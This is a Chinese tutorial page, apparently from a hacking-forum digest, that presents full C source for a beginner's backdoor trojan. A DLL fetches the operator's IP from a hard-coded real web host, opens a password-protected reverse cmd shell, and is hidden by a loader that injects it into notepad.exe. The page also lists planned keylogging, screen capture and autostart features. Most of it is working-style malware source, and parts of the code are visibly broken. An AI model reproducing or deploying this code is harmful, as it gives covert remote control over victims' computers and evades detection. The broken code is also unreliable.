个人工具
您位于: 首页 小组文摘 木马后门 初级后门编程接触

初级后门编程接触

文章申明:
该文章所有代码提供给大家学习与交流使用,为初学者

做个引导

版权为本人所有,此内容为本人C语言

课程设计的内容,所以请大家不要乱用

转载时请注明出处

 

涉及知识:

 

木马的工作模式

shell

网络编程

(主要用的Winsock)

http协议

进程与线程

dll文件

进程注入

 

设计流程图:
 
dll

 

 

流程解说:

 

先从客户端开始说起吧~

客户端先将自己的ip上传到一个指定的网页

当然这个可以编程实现每次一连接上网

络 客户端自动捕捉自己ip

发送到指定网页

因为时间原因,暂时没时间来写这个

 

 

然后客户端程序和服务端程序的启动顺序不需要做任何要求

- 如果客户端先上线 就开始监听端口等待反弹连接

- 如果服务端先上线 就不停地反弹连接客户端的端口 直到客户端上线

 

 

然后解说服务端

先用Loader.exe把后门dll加载到一个正常的进程中去实现后门父进程的隐藏

我们这用的一个记事本的进程 notepad.exe

然后开始加载dll里的内容并执行

里面的内容包括 先通过http协议去访问那个指定的网页 把客户端的ip捕获下来

然后对这个ip进行反弹连接

连接上了后

启动密码验证

机制

只有输入了正确的密码才会得到cmdshell

这里已经进入后门成功~

如果客户端与服务端断开了连接 服务端会自动退出

 

一些不足的补充:

在得到cmdshell时 服务端会弹出个cmdshell的对话框

虽然修改了参数 si.wShowWindow=SW_HIDE 但还是没将其隐藏 目前还没弄明白

还有就是进程注入的遗漏 目前是只把父进程dll注入了 所以父进程是被查不出来的

但给出cmdshell时 还没把cmdshell的进程也注入了

这样还是会在进程查看器上查看到cmd.exe

主要还是由于时间原因 比较仓促 以后会继续完善这个木马程序   

现在可以用Ice来看端口的情况

看第一行 状态是连接 而进程名 是notepad.exe 就说明进程注入成功了

本地机解说就到这里吧~

还有待增加的功能:

 

                         - 将cmdshell进程注入

                         - 将dll再制作成系统服务来实现开机自启

                         - 端口复用

                         - 键盘记录

                         - 屏幕捕捉

                         - 将客户端做成GUI形式

 

附完整代码:

dll 代码
/*-------------------------Welcome to CasperKid BackDoor.dll----------------------------*/
#include<windows.h>
#include<winsock2.h>     
#include<stdio.h>
#include<string.h>
#include<stdlib.h> 
#pragma comment(lib,"ws2_32.lib")   
#pragma comment(lib,"kernel32.lib")
SOCKET locals,sock_send;     
STARTUPINFO si;     
PROCESS_INFORMATION pi;     
struct sockaddr_in s_sin,ServerAddr;
char ip[20];  
void Catch_ip()
{
char http_post[]="GET /ip.html HTTP/1.1\r\n"
   "Host: cmoses.web.9cidc.com\r\n"
   "Connection:close\r\n\r\n";
char buf_ip[1000]="";//接收服务器返回数据缓冲区
int i=0,j=0;
WSADATA WSAdata;//WSA定义
WSAStartup(MAKEWORD(2,2),&WSAdata);//WSA初始化
ServerAddr.sin_family = AF_INET;//服务器域初始化
ServerAddr.sin_addr.s_addr = inet_addr("124.207.114.91");//服务器ip初始化
ServerAddr.sin_port = htons(80);//服务器端口初始化
sock_send=socket(AF_INET,SOCK_STREAM,0);//sock_send参数初始化
connect(sock_send,(struct sockaddr*)&ServerAddr,sizeof(ServerAddr));//连接服务器
send(sock_send,http_post,strlen(http_post),0);//发送http包
recv(sock_send,buf_ip,sizeof(buf_ip),0);//接收服务器返回数据
//printf("%s",buf_ip);//输出服务器返回数据
closesocket(sock_send);
WSACleanup();
    for(i=0,j=269;j<=282;i++,j++)
   ip=buf_ip[j];
ip='\0';
}
void getshell()     
{     
char *passwordcheck="lease input the Password:\n";
char *message="-----------------------------\r\n"
   "Welcome to CasperKid BackDoor\r\n"
   "-----------------------------\r\n";
char password[10]="";
char *R_password="Casper\n";
char *W_password="Your Input Password is wrong!\n";
int timeout=8000,open=1,i=0,len;     
Catch_ip();
s_sin.sin_family=AF_INET;     
s_sin.sin_port=htons(1234);     
s_sin.sin_addr.s_addr=inet_addr(ip);     
locals=WSASocket(AF_INET,SOCK_STREAM,0,NULL,NULL,NULL);     

if(locals==INVALID_SOCKET)     
{     
   printf("socket wrong.\n");          
}     

setsockopt(locals,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));     
setsockopt(locals,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));     
while(0!=connect(locals,(struct sockaddr*)&s_sin,sizeof(s_sin)));

while(open)
{
   memset(password,0,10);
   send(locals,passwordcheck,strlen(passwordcheck),0);
   len=recv(locals,password,sizeof(password),0);
   if(len==SOCKET_ERROR)
    exit(0);

   if(strcmp(password,R_password)==0)
    open=0;
   else
    send(locals,W_password,strlen(W_password),0);
}
send(locals,message,strlen(message),0);
si.hStdInput=si.hStdOutput=si.hStdError=(void*)locals;


int Start()       
{     
WSADATA wsaData;     

if(WSAStartup(MAKEWORD(1,1),&wsaData)!=0)     
{     
   printf("WSAStartup wrong\n");     
       
}     
memset(&s_sin,0,sizeof(s_sin));     
memset(&si,0,sizeof(si));     
si.cb=sizeof(si);     
si.dwFlags=STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;

    getshell();     

CreateProcess(NULL,"C:\\WINDOWS\\system32\\cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);    
WaitForSingleObject(pi.hProcess,INFINITE);  
TerminateProcess(pi.hProcess,0);  
CloseHandle(pi.hProcess);
return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
       DWORD ul_reason_for_call,
       LPVOID lpReserved
       )
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
   {
    DWORD id;
    CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Start,NULL,0,&id);
    break;
   }
default:
   break;
}
return TRUE;
}

 

 

Loader 代码:
#include <windows.h>  
#include <stdio.h>
#include <Tlhelp32.h>
BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId);//进程注入  
DWORD GetProcessIdByName(LPCTSTR name);//主要是枚举进程名,与我们想要注入的做比较,得到目标进程ID
int main()
{  
char strname[30];
char dllname[30];
int proID;
printf("想注入哪个进程,比如explorer.exe,请注意大小写:");
scanf("%s",strname);
printf("想把哪个dll注入,请填好完整路径名:");
scanf("%s",dllname);

//1.获取目标<进程>ID
proID=GetProcessIdByName(strname);//通过进程名来获取目标进程ID

InjectDll(dllname,proID);//想要注入的dll注入到目标进程ID
return 0;  

//开始我们的工作了
BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
//                 dllname想要注入的dll        proID目标进程ID
{  
HANDLE hTargetProcess;//远端进程句柄  
char *pszLibFileRemote;
//LPVOID pszLibFileRemote;

//2.打开目标<进程>
//hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);//打开目标进程(通过进程ID)
hTargetProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);//打开目标进程(通过进程ID)

//3.向目标<进程>地址空间申请内存空间,写入dll名称
    //   --在目标进程中分配lstrlen(DllFullPath)+1大小的空间以便将我们的DLL的文件名<DllFullPath>作为参数写入目标进程
pszLibFileRemote=(char*)VirtualAllocEx(hTargetProcess,NULL,(lstrlen(DllFullPath)+1),MEM_COMMIT,PAGE_READWRITE);
//pszLibFileRemote=VirtualAllocEx(hTargetProcess,NULL,lstrlen(DllFullPath)+1,MEM_COMMIT,PAGE_READWRITE);
//将返回申请空间的初始地址

    //   --把我们的DLL文件名<DllFullPath>写入目标进程的内存中
WriteProcessMemory(hTargetProcess,pszLibFileRemote,(void*)DllFullPath,(lstrlen(DllFullPath)+1),NULL);//写入进程内存
//                   目标进程      申请空间的初始地址          dll名            空间大小
   
//   --获取远端线程的地址

PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
//通过GetProcAddress返回远端线程的地址

//4.在目标<进程>中创建一个远端<线程>来用LoadLibrary进行加载dll
HANDLE hRemoteThread;  
if((hRemoteThread=CreateRemoteThread(hTargetProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL))==NULL)//在目标进程中创建远端线程
//                                     目标进程          远端线程的地址 申请空间的初始地址
{  
   printf("注入线程失败!");  
   return FALSE;  
}  


CloseHandle(hTargetProcess);//关闭句柄 - 远端进程
CloseHandle(hRemoteThread);//关闭句柄 - 远端线程
return TRUE;  

//主要是枚举进程名,与我们想要注入的做比较,如果是就返回它的ID,ROCESSENTRY32是一个与进程有关的数据结构
DWORD GetProcessIdByName(LPCTSTR name)
{
PROCESSENTRY32 prostruct;
DWORD id=0;
HANDLE hSnapshot;

hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
prostruct.dwSize=sizeof(PROCESSENTRY32);
if(!Process32First(hSnapshot,&prostruct))
   return 0;
do
{
   prostruct.dwSize = sizeof(PROCESSENTRY32);
   if(!Process32Next(hSnapshot,&prostruct))
    break;
   if(strcmp(prostruct.szExeFile,name)==0)//对进程名枚举比较
   {
    id=prostruct.th32ProcessID;
    break;
   }
}while(TRUE);//对进程进行枚举比较
CloseHandle(hSnapshot);
return id;//返回进程ID
}

 

 

 

文档操作